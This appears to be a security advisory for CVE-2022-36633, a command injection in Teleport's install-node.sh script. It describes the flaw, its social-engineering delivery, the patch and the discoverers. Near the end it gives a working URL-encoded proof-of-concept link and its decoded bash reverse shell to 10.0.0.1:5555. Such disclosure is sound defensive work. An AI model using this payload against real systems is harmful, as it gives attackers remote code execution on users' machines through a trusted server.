Description:Teleport 9.3.6 is vulnerable to Command injection leading to Remote
Code Execution. An attacker can craft a malicious ssh agent
installation link by URL encoding a bash escape with carriage return
line feed. This url encoded payload can be used in place of a token and
sent to a user in a social engineering attack. This is fully
unauthenticated attack utilizing the trusted teleport server to deliver
the payload.

Additional Information:https://goteleport.com/
https://github.com/gravitational/teleport
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36633

Vulnerability Type: otherCommand injection leading to Remote Code Execution

Vendor of Product:Teleport - https://goteleport.com/
Affected software version: Teleport version < v10.1.2

Affected Component:https://teleport.examplesite.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam <https://teleport.site.com/scripts/*INJECTION-POINT*/install-node.sh?method=iam>

Attack Type:Remote

Impact:Code Execution
Impact Other:This vulnerability allows an attacker to inject code into a bash script without authentication, and craft a legitimate link hosted on the teleport server to use in social engineering attacks. When a user executes the command to install an teleport SSH agent with the crafted link, it will install the teleport agent and without the users knowledge, execute malicious code in the background.

Attack Vectors:An attacker can craft a malicious ssh agent installation link by URL encoding a bash escape with carriage return line feed. This url encoded payload can be used in place of a token and sent to a user in a social engineering attack. This is fully unauthenticated attack utilizing the trusted teleport server to deliver the payload.

Example POC payload: https://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2f%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?method=iam <https://teleport.site.com/scripts/%22%0a%2fbin%2fbash%20-l%20%3e%20%2fdev%2ftcp%2f10.0.0.1%2f5555%200%3c%261%202%3e%261%20%23/install-node.sh?method=iam>

Decoded payload:
"
/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1 2>&1 #

Patch information:https://goteleport.com/docs/changelog/#1012
https://github.com/gravitational/teleport/pull/14944
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Discoverers:
Brandon Roach & Brian Landrum

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